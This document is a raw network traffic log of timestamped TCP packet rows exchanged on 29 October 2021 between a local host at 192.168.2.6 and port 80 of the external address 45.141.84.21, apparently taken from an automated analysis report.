Oct 29, 2021 17:56:15.930149078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930208921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930229902 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930248976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930250883 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.930258036 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930286884 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.930310011 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.930485964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930505991 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930519104 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930531025 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.930586100 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.969603062 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.969638109 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.969660997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.969677925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.969727039 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.969755888 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.987801075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.987847090 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.987884045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.987907887 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.987911940 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.987941027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.987965107 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.987973928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988008022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988024950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988032103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988065958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988091946 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988099098 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988140106 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988148928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988163948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988214016 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988372087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988408089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988441944 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988456964 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988476038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988507986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988527060 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988540888 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988569021 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988604069 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988607883 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988640070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988667965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988691092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988714933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988742113 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988748074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988780022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988801003 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.988811970 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988836050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.988876104 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989145041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989188910 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989202976 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989228964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989267111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989278078 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989309072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989346027 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989361048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989377022 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989433050 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989520073 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989558935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989597082 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989610910 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989625931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989665985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989679098 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989706993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989746094 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989761114 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989784002 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989823103 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989837885 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.989862919 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989888906 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.989916086 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990180969 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990222931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990236044 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990262032 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990289927 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990312099 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990330935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990369081 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990386009 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990410089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990439892 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990469933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990478992 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990520000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990559101 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990560055 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990592003 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990619898 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990633965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990673065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990689993 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.990712881 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990740061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.990766048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.991373062 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.991415977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.991432905 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:15.991456985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.991482973 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:15.991508007 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.029923916 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.029956102 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.029973984 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.029989958 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.030006886 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.030082941 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048113108 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048139095 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048154116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048171997 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048188925 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048212051 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048213005 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048223019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048243046 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048245907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048299074 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048312902 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048319101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048335075 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048357964 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048403025 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048674107 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048695087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048707962 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048722029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048789024 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048841000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048880100 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048898935 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048907995 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.048945904 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.048965931 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049007893 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049026966 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049063921 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049081087 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049083948 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049102068 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049118996 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049134016 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049137115 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049190998 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049340010 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049401999 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049438000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049462080 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049473047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049510002 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049597979 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049633026 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049650908 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049663067 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049665928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049705982 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049736977 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049787045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049801111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049809933 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.049916029 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.049984932 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050029993 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050050974 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050062895 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050069094 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050132990 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050234079 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050255060 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050271034 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050285101 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050304890 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050358057 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050380945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050400972 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050417900 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050430059 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050441980 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050493002 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050719976 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050740004 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050756931 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050770998 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050785065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050791979 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050800085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050813913 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050827980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.050844908 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050894022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.050987005 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051045895 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.051047087 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051067114 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051081896 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051129103 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.051542044 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051563978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051579952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051593065 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051616907 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.051666021 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.051666975 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051686049 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051703930 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051716089 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.051721096 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.051764965 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108313084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108344078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108355999 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108367920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108427048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108467102 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108484030 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108505964 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108520985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108537912 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108549118 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108556986 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108573914 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108587980 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108607054 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108654022 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108736038 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108757019 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108768940 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108778000 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108841896 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.108900070 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108952045 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108971119 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.108988047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109009981 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109057903 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109169006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109190941 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109209061 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109222889 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109237909 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109256029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109267950 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109273911 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109287024 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109299898 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109357119 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109477043 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109498978 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109515905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109529018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109585047 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109615088 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.109877110 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109901905 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109915018 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109926939 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.109993935 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110034943 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110049009 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110068083 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110086918 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110104084 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110121965 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110132933 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110135078 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110145092 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110171080 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110210896 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110522985 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110544920 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110583067 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110599041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110604048 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110670090 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110727072 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110748053 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110765934 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110779047 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110796928 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110852957 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110914946 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110935926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110953093 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110971928 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.110977888 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.110985041 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111002922 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111016989 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111023903 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.111068964 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.111094952 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.111243963 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111265898 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111283064 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111300945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111318111 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111334085 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111346960 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111349106 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.111407042 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.111618042 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111639023 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111690044 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.111691952 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111707926 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.111749887 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.112006903 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.112030029 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.112045050 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.112059116 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.112082958 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.112131119 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.150661945 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.150695086 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.150707006 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.150716066 CEST	80	49856	45.141.84.21	192.168.2.6
Oct 29, 2021 17:56:16.150772095 CEST	49856	80	192.168.2.6	45.141.84.21
Oct 29, 2021 17:56:16.150842905 CEST	49856	80	192.168.2.6	45.141.84.21
